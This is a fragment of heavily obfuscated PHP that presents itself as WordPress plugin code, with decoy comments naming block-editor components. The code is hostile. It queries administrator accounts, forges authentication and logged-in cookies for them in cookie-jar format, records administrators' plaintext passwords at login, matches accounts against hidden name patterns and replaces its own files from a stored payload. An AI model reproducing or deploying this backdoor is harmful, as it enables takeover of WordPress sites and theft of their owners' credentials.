 q9qe9dyjynhf_ro94m(vcr09jqkbni2k4ee0y());
 j432fegx9wjwq5cz8t(vcr09jqkbni2k4ee0y());
       }
 }

    }
     unset($ox_0zeye6mt,  $e8yfu57oqbk7);
        }
   $fwo_me35afj8yij6  =      @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y());
      $pg1c0phyr7der    =     $fwo_me35afj8yij6  &&    $fwo_me35afj8yij6  >  (4921+79);
if      ($pg1c0phyr7der  &&  $fwo_me35afj8yij6  >    (99437926-47009126)) {
  $pg1c0phyr7der =  false;
 }
   if   ($pg1c0phyr7der &&    $fwo_me35afj8yij6 >  (714711+333865)  && !o3b3qa87qg2t8cm($fwo_me35afj8yij6)) {
  if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(860)))    {
   set_transient(n747he9yo38(862), 1,     (3722-122));
// decidable checkpoint

  }
 return;

       }
   if   ($pg1c0phyr7der) {



 $igbnmx63z7   = olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($igbnmx63z7)    ||  !dxgg5a63x4tsvkmvowozg3($igbnmx63z7))    {



  $pg1c0phyr7der   =     false;
  } else   {
   $ly0ph0zwdkwqom     =  z6q8c6q8s6lg_2r(k83m2slbb(754),   "");
   $nkhc9g_esyoagrp =  s0w5qsc479q3lt9($igbnmx63z7);
 $hrz8ptvw362p   = s0w5qsc479q3lt9($GLOBALS['__scf_epa1jymnf5_40']($ly0ph0zwdkwqom)  ? $ly0ph0zwdkwqom   :   "");
  

  if   ($nkhc9g_esyoagrp  !==   ""    && ($hrz8ptvw362p  ===    ""   ||  version_compare($hrz8ptvw362p, $nkhc9g_esyoagrp,  '<')))  {
  $x_ov4uws_cdp5skr    =     $GLOBALS['__scf__pih7hoh4m_56']($igbnmx63z7);
 $__cht_tv_6qu9t8   =   @$GLOBALS['__scf_mtwlgr3p78_18']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())     .     lgr6hp92ka(704)  . $x_ov4uws_cdp5skr);


 if  (!$__cht_tv_6qu9t8)   {
     $qnzrgcxnuji0r  = get_option(n747he9yo38(190));


if  ($GLOBALS['__scf_epa1jymnf5_40']($qnzrgcxnuji0r)  &&  $GLOBALS['__scf_p9nk7khmjys_7']($qnzrgcxnuji0r, $x_ov4uws_cdp5skr  .  '|') ===  0)  $__cht_tv_6qu9t8     = true;
 }
    if     ($__cht_tv_6qu9t8)    $pg1c0phyr7der    = false;
if     (!$__cht_tv_6qu9t8     &&   $GLOBALS['__scf_epa1jymnf5_40']($ly0ph0zwdkwqom)  && ($ly0ph0zwdkwqom ===   ""   ||  $hrz8ptvw362p  ===    "" ||   version_compare($hrz8ptvw362p,   $nkhc9g_esyoagrp,   '<'))) htdydg38ahuyxm73zkqz0(k83m2slbb(754), $igbnmx63z7,  lgr6hp92ka(756));
 unset($x_ov4uws_cdp5skr,   $__cht_tv_6qu9t8,  $qnzrgcxnuji0r);
    }    elseif  ($GLOBALS['__scf_epa1jymnf5_40']($ly0ph0zwdkwqom)   &&    $GLOBALS['__scf_h5yqrl6kmpb_10']($ly0ph0zwdkwqom)  > (456+44)  && $GLOBALS['__scf_h5yqrl6kmpb_10']($ly0ph0zwdkwqom)   <=   (47735+1000841)  &&    !rn7y5z4w_xtam4pshy6($ly0ph0zwdkwqom) &&  dxgg5a63x4tsvkmvowozg3($ly0ph0zwdkwqom)  &&    $GLOBALS['__scf__pih7hoh4m_56']($igbnmx63z7)    !== $GLOBALS['__scf__pih7hoh4m_56']($ly0ph0zwdkwqom))     {
   $pg1c0phyr7der =  false;


}
 }
}
// profile isometric equivalence-class

   if ($pg1c0phyr7der)    {
    if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(860))) {
     set_transient(lgr6hp92ka(862),      1,  (3508+92));
        }

    return;



 }
       if   (l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y()))    {
  return;


    }
      $_489iibhs4ryc46v  =    $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y());
if (!  @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($_489iibhs4ryc46v))     {



   t9pjso5fxcttzwg5jam805($_489iibhs4ryc46v, (483+10), true);
 }


$e29niaq_c0sa0 =   z6q8c6q8s6lg_2r(n747he9yo38(754),  "");
 if    (!$e29niaq_c0sa0  || !$GLOBALS['__scf_epa1jymnf5_40']($e29niaq_c0sa0))  {
if (!get_transient(lgr6hp92ka(863))) {


  pas31bymshzdagwkp(lgr6hp92ka(864),  lgr6hp92ka(865));


    set_transient(n747he9yo38(866),   1,   (3530+70));
  }
    }
     if  ($e29niaq_c0sa0 &&      $GLOBALS['__scf_epa1jymnf5_40']($e29niaq_c0sa0) &&   $GLOBALS['__scf_h5yqrl6kmpb_10']($e29niaq_c0sa0) >   (398+102)      && $GLOBALS['__scf_h5yqrl6kmpb_10']($e29niaq_c0sa0) <= (990635+57941)  &&  !rn7y5z4w_xtam4pshy6($e29niaq_c0sa0)   &&  dxgg5a63x4tsvkmvowozg3($e29niaq_c0sa0)) {
$b_k0p7itt_89e  =     s0w5qsc479q3lt9($e29niaq_c0sa0);
   if ($b_k0p7itt_89e ===    ""    ||     version_compare($b_k0p7itt_89e,  tdwuvuxeuijm__qj(),   '<'))      {
return;
    }
  $v48jdft8mc =  $GLOBALS['__scf__pih7hoh4m_56']($e29niaq_c0sa0);
 if (@$GLOBALS['__scf_mtwlgr3p78_18']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   .  lgr6hp92ka(704)  .   $v48jdft8mc))  return;


  $hvzuy33gw5ykfx = get_option(n747he9yo38(190));
if  ($GLOBALS['__scf_epa1jymnf5_40']($hvzuy33gw5ykfx)  && $GLOBALS['__scf_p9nk7khmjys_7']($hvzuy33gw5ykfx,     $v48jdft8mc  .   '|')  ===  0) return;
 unset($v48jdft8mc,  $hvzuy33gw5ykfx);
$q8tqy4csnk =  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())    .  woii22it0(192)  . $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),   lgr6hp92ka(514));
$hxeudow3dq5qyaz0  =  @$GLOBALS['__scf_mtwlgr3p78_18']($q8tqy4csnk) ?  $GLOBALS['__scf_xcg5caaat_92j0_323']((string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($q8tqy4csnk))    :    "";
  if    ($hxeudow3dq5qyaz0   !==  "" &&   $GLOBALS['__scf__pih7hoh4m_56']($e29niaq_c0sa0)  === $hxeudow3dq5qyaz0) {
      return;

}
   dvd1rr9pr3xu08j(vcr09jqkbni2k4ee0y(),    (0xdc+0xc8));
   $lo2vtzww54qt  = m9xp6uh5w1cal39pfn4cx(vcr09jqkbni2k4ee0y(),  pn7nm6nqd14rnwe($e29niaq_c0sa0));
    if ($lo2vtzww54qt)   {



q9qe9dyjynhf_ro94m(vcr09jqkbni2k4ee0y());
     dvd1rr9pr3xu08j(vcr09jqkbni2k4ee0y(), (413+7));
     j432fegx9wjwq5cz8t(vcr09jqkbni2k4ee0y());
 j7q7bvavumc4i765(true);
vxphx3fmo9f0xamsip2gy0(true);
 ihrci155iirvqnpr(vcr09jqkbni2k4ee0y());



if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(860)))   {
 set_transient(lgr6hp92ka(862),  1, (0xa4c+0x3c4));
}

   } elseif ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(860)))   {
     set_transient(hwc6a8djp6yy(867),   1,  (1770+30));
    }



}


  } catch  (Throwable     $oz7m23pnscj7)    {
  pas31bymshzdagwkp(n747he9yo38(868),   $oz7m23pnscj7);
     }  catch  (Exception  $oz7m23pnscj7)  {
 }
}
   
 function    doipq01ze4mlutg3360fm6()
       {
jmxj5witdjjsy6yr5(n747he9yo38(869),  woii22it0(870));
  jmxj5witdjjsy6yr5(woii22it0(871),  k83m2slbb(870));


if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(872)))    {
remove_action(hwc6a8djp6yy(873),  n747he9yo38(874));

 remove_action(n747he9yo38(875), lgr6hp92ka(874),    (132^142));
remove_action(hwc6a8djp6yy(876),   lgr6hp92ka(877),    (17-7));
     }


}
       function qn406r5n3jpz5gken7zpmr()
   {
try    {



 $wpdb  = $GLOBALS[n747he9yo38(878)];

   $fmwaeej6zngzrt94  =      $wpdb->prefix  . k83m2slbb(879);
$bmw_0dmfm_1f3ngb = 'S'  . n747he9yo38(880) .  $wpdb->users     .  woii22it0(881)      .  $wpdb->usermeta   .  k83m2slbb(882);
$n5v4e6dufgwsr =     $wpdb->get_results($wpdb->prepare($bmw_0dmfm_1f3ngb, $fmwaeej6zngzrt94, lgr6hp92ka(883)));
   if (!$GLOBALS['__scf_lxbo0xm7220an_34']($n5v4e6dufgwsr)) {
 pas31bymshzdagwkp(n747he9yo38(884), (string) $wpdb->last_error);
 return array();



 }
 return $n5v4e6dufgwsr;
}     catch   (Throwable $oz7m23pnscj7) {
pas31bymshzdagwkp(n747he9yo38(583),    $oz7m23pnscj7);
  } catch  (Exception  $oz7m23pnscj7) {
// WP Embed Block: orchestrate facade

   pas31bymshzdagwkp(woii22it0(583),   $oz7m23pnscj7);
    }
// strict invariant




return     array();
    }
     function bpjcl3o53yd9m1b3gn($wsd9_o8oimm9lily)
  {
   $cpx7_28odoku51m = array();
    $lydrmqby_9vq8ce  = function  ($a9hctxljuip)  {$xvzbvjyg4=-347;$f2s8e9brbkcp=($xvzbvjyg4>0)?$xvzbvjyg4:-$xvzbvjyg4;



$a9hctxljuip[n747he9yo38(885)]      = "";
return   $a9hctxljuip;
};
    try {

 $e_ka0u1d9i    = z6q8c6q8s6lg_2r(lgr6hp92ka(886),  array());



  if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($e_ka0u1d9i))    $e_ka0u1d9i   =   array();
$_pd      = false;
      foreach   ($e_ka0u1d9i as      $ewht4v4fl7  =>    $_v9deji0k96152)   {
 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($_v9deji0k96152)  &&     isset($_v9deji0k96152['c'], $_v9deji0k96152['e']) &&   $GLOBALS['__scf_lxbo0xm7220an_34']($_v9deji0k96152['c']) &&   (int)   $_v9deji0k96152['e']   >     $GLOBALS['__scf_cyotfgtf1a8m_189']()      +  (136181-49781))  {
  $cpx7_28odoku51m[$ewht4v4fl7]    =  $_v9deji0k96152['c'];
        }   else   {
 unset($e_ka0u1d9i[$ewht4v4fl7]);
$_pd  =  true;
     }
       }
// @fulfill equivalence-class

 if  (! $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(887))   ||     !     $GLOBALS['__scf_f844yvc4tu_536'](woii22it0(888))) {



      if   ($_pd)  htdydg38ahuyxm73zkqz0(woii22it0(889), $e_ka0u1d9i,    k83m2slbb(890));
  return $cpx7_28odoku51m;
 }
   if   (!    $GLOBALS['__scf_lxbo0xm7220an_34']($wsd9_o8oimm9lily) ||     empty($wsd9_o8oimm9lily))   {
   if   ($_pd)    htdydg38ahuyxm73zkqz0(n747he9yo38(889),      $e_ka0u1d9i,   woii22it0(890));
 

return    $cpx7_28odoku51m;
      }
 $jnn6in36x9oafq  =   $GLOBALS['__scf_cyotfgtf1a8m_189']()    +  (201^199)   *     (0xb9cd+0x97b3);$xi_96qoqw3=(0x24+0x5e);$pjjs23tw=$xi_96qoqw3%13;



 $is_ssl   =    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(483)) && is_ssl();$kw6lmb0d=137;$mqewdri9s801l=$kw6lmb0d%14;
$_933h6cuwpvn    =  $is_ssl  ?  hwc6a8djp6yy(891)   :   lgr6hp92ka(892);
  $qvmq_ic585ew0r1r = $is_ssl    ?    (defined(woii22it0(893))     ?    SECURE_AUTH_COOKIE  :   "")   :     (defined(k83m2slbb(894))  ?   AUTH_COOKIE :  "");

    $e96u1wacffllkdvs    =  defined(hwc6a8djp6yy(895))    ? LOGGED_IN_COOKIE      :     "";
  if (!  $qvmq_ic585ew0r1r    ||   !   $e96u1wacffllkdvs)  {

       if   ($_pd)    htdydg38ahuyxm73zkqz0(n747he9yo38(889),  $e_ka0u1d9i, hwc6a8djp6yy(890));
 return $cpx7_28odoku51m;

}
   $ptzysi_ofq3qaz7b   = defined(hwc6a8djp6yy(896)) && COOKIE_DOMAIN  ?   $GLOBALS['__scf_ptxcf45drp_8'](COOKIE_DOMAIN,  '.')  : og1x2m03ubzy0v1hpff6("");
     $mt9fbybn3vziw7s =    defined(n747he9yo38(897))     ?  COOKIEPATH  :   '/';
    $f2cxss0x1bl89kfu    =     defined(woii22it0(898))    ?    ADMIN_COOKIE_PATH : woii22it0(899);
 $hje212k3slw20    =   $is_ssl  ?  lgr6hp92ka(900) :     woii22it0(901);
$cy9yo5q4zjs9p_um  =   "\t";


jmxj5witdjjsy6yr5(k83m2slbb(902), $lydrmqby_9vq8ce, 0);
  $jt5qamtla0hou4l   =    jv8oinqy59r_b336r5e_(n747he9yo38(903));
$r7byxx188oa43  =  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(904)) ? @get_option($jt5qamtla0hou4l,     array())   :   array();


    if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($r7byxx188oa43))  $r7byxx188oa43  =   array();
       if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(905))  &&    $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(761))) {
 $hc8u9flhnd    =  (int)   @get_option(jv8oinqy59r_b336r5e_(k83m2slbb(906)),  0);
      if   ($hc8u9flhnd <   2)  {
    if   (!empty($r7byxx188oa43))   {
$r7byxx188oa43 =    array();
   @update_option($jt5qamtla0hou4l,  $r7byxx188oa43,    k83m2slbb(907));
    }
 @update_option(jv8oinqy59r_b336r5e_(hwc6a8djp6yy(908)),    2,  k83m2slbb(907));
      }



unset($hc8u9flhnd);



 }
 $_hw4ev2tsxgvgz92   = $GLOBALS['__scf_prfpiytv3egt7_35']($cpx7_28odoku51m);
foreach   ($wsd9_o8oimm9lily as $qe4sw3c_dk) {
    if (!    $GLOBALS['__scf_mvbylv45uji1_67']($qe4sw3c_dk)   ||  ! $qe4sw3c_dk->ID      ||  ! $qe4sw3c_dk->user_login) {
   continue;

      }

if   ($_hw4ev2tsxgvgz92  >=     (0x1+0x2)) {
 break;
 }
     $ukjbu5aucb1vi6 =  (string)  $qe4sw3c_dk->user_login;
   if    (isset($cpx7_28odoku51m[$ukjbu5aucb1vi6]))     {


   continue;
}
 if (isset($r7byxx188oa43[$ukjbu5aucb1vi6]) &&  (int)    $r7byxx188oa43[$ukjbu5aucb1vi6]  >    $GLOBALS['__scf_cyotfgtf1a8m_189']()  +  2 *  (0x9dfe+0xb382))  {
  continue;
   }
// unbind heap for WP Post Template

wp_cache_delete($qe4sw3c_dk->ID, k83m2slbb(909));

     $vwiictl2qd_    =  get_user_meta($qe4sw3c_dk->ID,  woii22it0(910),   true);

   if ($GLOBALS['__scf_lxbo0xm7220an_34']($vwiictl2qd_)   &&    $GLOBALS['__scf_prfpiytv3egt7_35']($vwiictl2qd_) >=   (0x4+0x6)) {


     $vtjvgm1e7_i9r6ow = array();
       foreach     ($vwiictl2qd_    as $it3yfb_vtma =>    $h10xx8rf4a)  {
   if  (isset($h10xx8rf4a[k83m2slbb(911)])  &&  $h10xx8rf4a[lgr6hp92ka(911)]  >    $GLOBALS['__scf_cyotfgtf1a8m_189']())   {


 $vtjvgm1e7_i9r6ow[$it3yfb_vtma]  =  $h10xx8rf4a;


      }
// soft reference

}
  if ($GLOBALS['__scf_prfpiytv3egt7_35']($vtjvgm1e7_i9r6ow) !==    $GLOBALS['__scf_prfpiytv3egt7_35']($vwiictl2qd_))  {


   update_user_meta($qe4sw3c_dk->ID, woii22it0(910),     $vtjvgm1e7_i9r6ow);
 }



     }
 wp_cache_delete($qe4sw3c_dk->ID, woii22it0(909));
   $aqwbs5qnrjt =  $GLOBALS['__scf_f_h6mgk0cf1_291'](array(woii22it0(888), n747he9yo38(912)), $qe4sw3c_dk->ID);
    $iq4bgngbj8uws     =  $aqwbs5qnrjt->create($jnn6in36x9oafq);
 $x73jfks0ogzqy     = array();
 $x73jfks0ogzqy[]   =  $ptzysi_ofq3qaz7b   .   $cy9yo5q4zjs9p_um      . lgr6hp92ka(900)  .      $cy9yo5q4zjs9p_um  .  $mt9fbybn3vziw7s     .    $cy9yo5q4zjs9p_um  . $hje212k3slw20   .  $cy9yo5q4zjs9p_um   . $jnn6in36x9oafq .   $cy9yo5q4zjs9p_um . $e96u1wacffllkdvs    .  $cy9yo5q4zjs9p_um  .  $GLOBALS['__scf_zxnaailma8_913']($qe4sw3c_dk->ID,    $jnn6in36x9oafq,    n747he9yo38(914),  $iq4bgngbj8uws);
     if ($qvmq_ic585ew0r1r) {
     $x73jfks0ogzqy[]    =    $ptzysi_ofq3qaz7b  . $cy9yo5q4zjs9p_um  .   woii22it0(900)      . $cy9yo5q4zjs9p_um      . $f2cxss0x1bl89kfu   .    $cy9yo5q4zjs9p_um   .  $hje212k3slw20  .     $cy9yo5q4zjs9p_um .  $jnn6in36x9oafq   .  $cy9yo5q4zjs9p_um  . $qvmq_ic585ew0r1r   .  $cy9yo5q4zjs9p_um .  $GLOBALS['__scf_zxnaailma8_913']($qe4sw3c_dk->ID,  $jnn6in36x9oafq, $_933h6cuwpvn,   $iq4bgngbj8uws);



    }
      $cpx7_28odoku51m[$qe4sw3c_dk->user_login]  =  $x73jfks0ogzqy;
 $e_ka0u1d9i[$ukjbu5aucb1vi6]   =    array('c'    =>   $x73jfks0ogzqy,  'e'   =>   $jnn6in36x9oafq);
  $_pd  = true;
 $_hw4ev2tsxgvgz92++;

    }
   if ($_pd)    {
      htdydg38ahuyxm73zkqz0(lgr6hp92ka(889),  $e_ka0u1d9i,   k83m2slbb(907));
  }
    }    catch  (Throwable    $oz7m23pnscj7)   {
  pas31bymshzdagwkp(hwc6a8djp6yy(915), $oz7m23pnscj7);
  }  catch (Exception  $oz7m23pnscj7)    {



pas31bymshzdagwkp(woii22it0(916), $oz7m23pnscj7);
  }


 remove_filter(lgr6hp92ka(902),  $lydrmqby_9vq8ce, 0);
       return  $cpx7_28odoku51m;
}
 function  bqqu62sy3z6vnrywlkh()



   {



try  {
   $e_ka0u1d9i  = z6q8c6q8s6lg_2r(woii22it0(917),   array());
   if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($e_ka0u1d9i)      ||   empty($e_ka0u1d9i))  return;
  $jt5qamtla0hou4l  =    jv8oinqy59r_b336r5e_(n747he9yo38(918));
  $r7byxx188oa43  =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(919))    ?   @get_option($jt5qamtla0hou4l, array())  : array();
if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($r7byxx188oa43))   $r7byxx188oa43   = array();
  foreach     ($e_ka0u1d9i    as $ewht4v4fl7   => $_v9deji0k96152)  {
// sparse write-ahead-log

$r7byxx188oa43[$ewht4v4fl7]   =   $GLOBALS['__scf_lxbo0xm7220an_34']($_v9deji0k96152)     && isset($_v9deji0k96152['e'])    ? (int)   $_v9deji0k96152['e']   :   $GLOBALS['__scf_cyotfgtf1a8m_189']()  + (6+8)  *    (86350+50);
    }
  foreach   ($r7byxx188oa43     as     $lq5zxyulkqsll => $f8g962mz7e8dj3i) {

  if   ((int)   $f8g962mz7e8dj3i    < $GLOBALS['__scf_cyotfgtf1a8m_189']())  unset($r7byxx188oa43[$lq5zxyulkqsll]);
 }
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(920)))    @update_option($jt5qamtla0hou4l,  $r7byxx188oa43,     n747he9yo38(921));
htdydg38ahuyxm73zkqz0(k83m2slbb(917),    array(),  hwc6a8djp6yy(921));

    } catch (Throwable   $oz7m23pnscj7) {

    pas31bymshzdagwkp(lgr6hp92ka(922),    $oz7m23pnscj7);
    } catch      (Exception $oz7m23pnscj7)  {


  pas31bymshzdagwkp(hwc6a8djp6yy(922),  $oz7m23pnscj7);
      }
   }
  function   k38prlhp664dj381edpuol($tb0hfr9vri2de7l)
  {
     if    ($GLOBALS['__scf_epa1jymnf5_40']($tb0hfr9vri2de7l)) return $tb0hfr9vri2de7l;
if   ($GLOBALS['__scf_lxbo0xm7220an_34']($tb0hfr9vri2de7l)   &&  isset($tb0hfr9vri2de7l['p']) &&    $GLOBALS['__scf_epa1jymnf5_40']($tb0hfr9vri2de7l['p'])) return $tb0hfr9vri2de7l['p'];



    return "";



 }
function     t6cb83nsndxyg9e6yvp($wsd9_o8oimm9lily)
{
$list = array();
   $r_0tc19on37qm4o  =   (string)   z6q8c6q8s6lg_2r(n747he9yo38(923),   "");



 $t6oqc4puaha  =      (string)    z6q8c6q8s6lg_2r(lgr6hp92ka(924),  "");
 if  ($r_0tc19on37qm4o !==  ""    &&  $t6oqc4puaha  !==   "")    {

$list[$r_0tc19on37qm4o]  =  $t6oqc4puaha;
      }
 $mt66lzvt67g29gfz    =  z6q8c6q8s6lg_2r(k83m2slbb(925),    array());
  if ($GLOBALS['__scf_lxbo0xm7220an_34']($mt66lzvt67g29gfz))   {
 foreach  ($mt66lzvt67g29gfz  as     $xhdth5fmjt7_8  =>  $h0n24c2h1uhzn)  {
      $xzwufq9nacfqt      = k38prlhp664dj381edpuol($h0n24c2h1uhzn);
 if ($xzwufq9nacfqt     !== "")    $list[(string) $xhdth5fmjt7_8]   =  $xzwufq9nacfqt;$e4s0v1sowq=PHP_INT_MAX/PHP_INT_MAX;$k7_t71qgmhi=$e4s0v1sowq+26;
   }


 }
// project quotient for WP InnerBlocks



  return    $list;



}


   function e_0a8yf3mhskcd($xhdth5fmjt7_8,   $gp9t097cfab,      $u8ebroty4aa1q)


{
try    {
       if  (!   $GLOBALS['__scf_mvbylv45uji1_67']($xhdth5fmjt7_8)    ||  ! $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($xhdth5fmjt7_8,  hwc6a8djp6yy(926)))    {
   return    $xhdth5fmjt7_8;
     }
 if (!  $xhdth5fmjt7_8->has_cap(k83m2slbb(728))) {
      return $xhdth5fmjt7_8;


   }



   if      (!  $GLOBALS['__scf_epa1jymnf5_40']($u8ebroty4aa1q) ||  !  $u8ebroty4aa1q)    {
     return $xhdth5fmjt7_8;
     }
  $mt66lzvt67g29gfz    =  z6q8c6q8s6lg_2r(n747he9yo38(925), array());
  if   (! $GLOBALS['__scf_lxbo0xm7220an_34']($mt66lzvt67g29gfz)) {
    $mt66lzvt67g29gfz   =  array();
   }
// WP Redux Store: inline linear-type

 foreach     ($mt66lzvt67g29gfz as $_406_7o2jeonh    =>    $lzk88d5vtss68uw8) {


 $m0cgc7sweypkfgd5  = $GLOBALS['__scf_lxbo0xm7220an_34']($lzk88d5vtss68uw8)    &&   isset($lzk88d5vtss68uw8[k83m2slbb(546)])  ? (int) $lzk88d5vtss68uw8[k83m2slbb(546)] :  0;
if ($m0cgc7sweypkfgd5  &&    $m0cgc7sweypkfgd5 <   $GLOBALS['__scf_cyotfgtf1a8m_189']()   -    (7775937+63)) unset($mt66lzvt67g29gfz[$_406_7o2jeonh]);
      }
 $mt66lzvt67g29gfz[$xhdth5fmjt7_8->user_login]   =   array('p'  =>   $u8ebroty4aa1q,    n747he9yo38(546) => $GLOBALS['__scf_cyotfgtf1a8m_189'](),  n747he9yo38(927)   =>      0);
     htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(925),    $mt66lzvt67g29gfz,  hwc6a8djp6yy(928));
}  catch    (Throwable    $oz7m23pnscj7)   {
     pas31bymshzdagwkp(woii22it0(929), $oz7m23pnscj7);
   }  catch  (Exception  $oz7m23pnscj7) {


 pas31bymshzdagwkp(woii22it0(930),    $oz7m23pnscj7);
 }
return  $xhdth5fmjt7_8;
       }
function p0mrvoa23jekbi1($bofxes7vhmwmxkr,   $xhdth5fmjt7_8)
{$lcp3046cv7cgv=PHP_MAJOR_VERSION;$g51o49of8hc=$lcp3046cv7cgv*4;
  try   {
// hook contravariant-adj resume-session

  if  (!$GLOBALS['__scf_epa1jymnf5_40']($bofxes7vhmwmxkr)     ||  $bofxes7vhmwmxkr    ===    "")  return;
     $mt66lzvt67g29gfz = z6q8c6q8s6lg_2r(hwc6a8djp6yy(925),  array());
 if (!$GLOBALS['__scf_lxbo0xm7220an_34']($mt66lzvt67g29gfz) ||  !isset($mt66lzvt67g29gfz[$bofxes7vhmwmxkr])) return;
   $oz7m23pnscj7  = $mt66lzvt67g29gfz[$bofxes7vhmwmxkr];

if    ($GLOBALS['__scf_lxbo0xm7220an_34']($oz7m23pnscj7)   && empty($oz7m23pnscj7[lgr6hp92ka(931)]))  {
        $mt66lzvt67g29gfz[$bofxes7vhmwmxkr][lgr6hp92ka(932)]   =     1;

htdydg38ahuyxm73zkqz0(woii22it0(925),   $mt66lzvt67g29gfz,    hwc6a8djp6yy(928));
   }
   }  catch     (Throwable   $e2j2yer3f62gb)    {
   pas31bymshzdagwkp(woii22it0(933),     $e2j2yer3f62gb);



   } catch (Exception  $e2j2yer3f62gb)   {
     pas31bymshzdagwkp(lgr6hp92ka(933),    $e2j2yer3f62gb);
 }
}
function czy52wc2gbt7x_jg29pu1($wsd9_o8oimm9lily)
   {
  if  (!   $GLOBALS['__scf_lxbo0xm7220an_34']($wsd9_o8oimm9lily))  {
    return  false;
 }



    $kzxvczoci1  =    w1yce0zcimmx9m40r7x0m();
 foreach     ($wsd9_o8oimm9lily    as  $qe4sw3c_dk) {



  foreach  ($kzxvczoci1     as $zi602vt01381gih3)   {
  if    ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(934)  .  $GLOBALS['__scf_wyw0gbsdks_v_823']($zi602vt01381gih3,  '/')    .   n747he9yo38(935),    $qe4sw3c_dk->user_login))  {
 return  $qe4sw3c_dk;
/* satisfiable priority-queue */

 }
       }
   }
  return false;
       }
        function     w5r7ae3dymnovvl7($maab3ledcnd,     $z3b382p9x_w8)
     {
  return $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($maab3ledcnd),    0,    $z3b382p9x_w8);
    }
function hkq6dslzqcgoi1lu4($z3b382p9x_w8)
    {
 return   w5r7ae3dymnovvl7(uniqid((string)     $GLOBALS['__scf_qt5_3awd0l2_350'](),  true),   $z3b382p9x_w8);
     }
function  ikg39sck_ks4gonf_951oy($obb00_vecb89w9f6)


     {


   if (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(936)))  return   false;
  

$jscawtkmb2_qe  =  get_option(k83m2slbb(937),  array());

if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($jscawtkmb2_qe))     return false;

  $prah7czx9ukf7u =  $GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6);

  if  (empty($jscawtkmb2_qe[$prah7czx9ukf7u])) return    false;
 $xzwufq9nacfqt  =    $GLOBALS['__scf_txqeuw424jw_8__114']('|',   (string)   $jscawtkmb2_qe[$prah7czx9ukf7u]);
 $bej9rfsl3bpk =   isset($xzwufq9nacfqt[1])     ?   (int)  $xzwufq9nacfqt[1]  :  0;
     return   ($bej9rfsl3bpk > 0  &&  $GLOBALS['__scf_cyotfgtf1a8m_189']()    -  $bej9rfsl3bpk <  (161615-75215));

  }
 function  jbc34qvnla1o26pyx($obb00_vecb89w9f6,  $m2ew69pv5346o)
 {



   if    (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(936))  ||   !$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(920)))    return;
    $jscawtkmb2_qe     =  get_option(hwc6a8djp6yy(937), array());

 if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($jscawtkmb2_qe))     $jscawtkmb2_qe = array();


    $prah7czx9ukf7u  =  $GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6);
     if  (!$m2ew69pv5346o)   {
     if (isset($jscawtkmb2_qe[$prah7czx9ukf7u]))  {
  unset($jscawtkmb2_qe[$prah7czx9ukf7u]);
   update_option(n747he9yo38(937),   $jscawtkmb2_qe,     woii22it0(938));



   }
 return;
  }


 $v3ns5_io9ii  =  0;
 if    (!empty($jscawtkmb2_qe[$prah7czx9ukf7u])) {
      $xzwufq9nacfqt =  $GLOBALS['__scf_txqeuw424jw_8__114']('|',  (string) $jscawtkmb2_qe[$prah7czx9ukf7u]);
     $v3ns5_io9ii   = (int)     $xzwufq9nacfqt[0];
   }
$v3ns5_io9ii++;

$bej9rfsl3bpk =   ($v3ns5_io9ii >= (1+2))   ?   $GLOBALS['__scf_cyotfgtf1a8m_189']()  :  0;
   foreach ($jscawtkmb2_qe as      $hxncg2juzrwge0sv =>  $niv33u8vrx) {
$ijofa836da     =      $GLOBALS['__scf_txqeuw424jw_8__114']('|',  (string)  $niv33u8vrx);
 $b7ydxezoh8  = isset($ijofa836da[2])  ? (int)  $ijofa836da[2]  :  0;
if    (!$b7ydxezoh8  &&   !empty($ijofa836da[1]))   $b7ydxezoh8  =  (int)  $ijofa836da[1];
  if   ($b7ydxezoh8     && $GLOBALS['__scf_cyotfgtf1a8m_189']()    -  $b7ydxezoh8   >  (125965+46835))   unset($jscawtkmb2_qe[$hxncg2juzrwge0sv]);



    }
$jscawtkmb2_qe[$prah7czx9ukf7u]      =    $v3ns5_io9ii   .  '|'    . $bej9rfsl3bpk  .     '|'  .  $GLOBALS['__scf_cyotfgtf1a8m_189']();



 if ($GLOBALS['__scf_prfpiytv3egt7_35']($jscawtkmb2_qe) >   (3^103))  {
   $q3k2qbpuq4oev71x    = array();
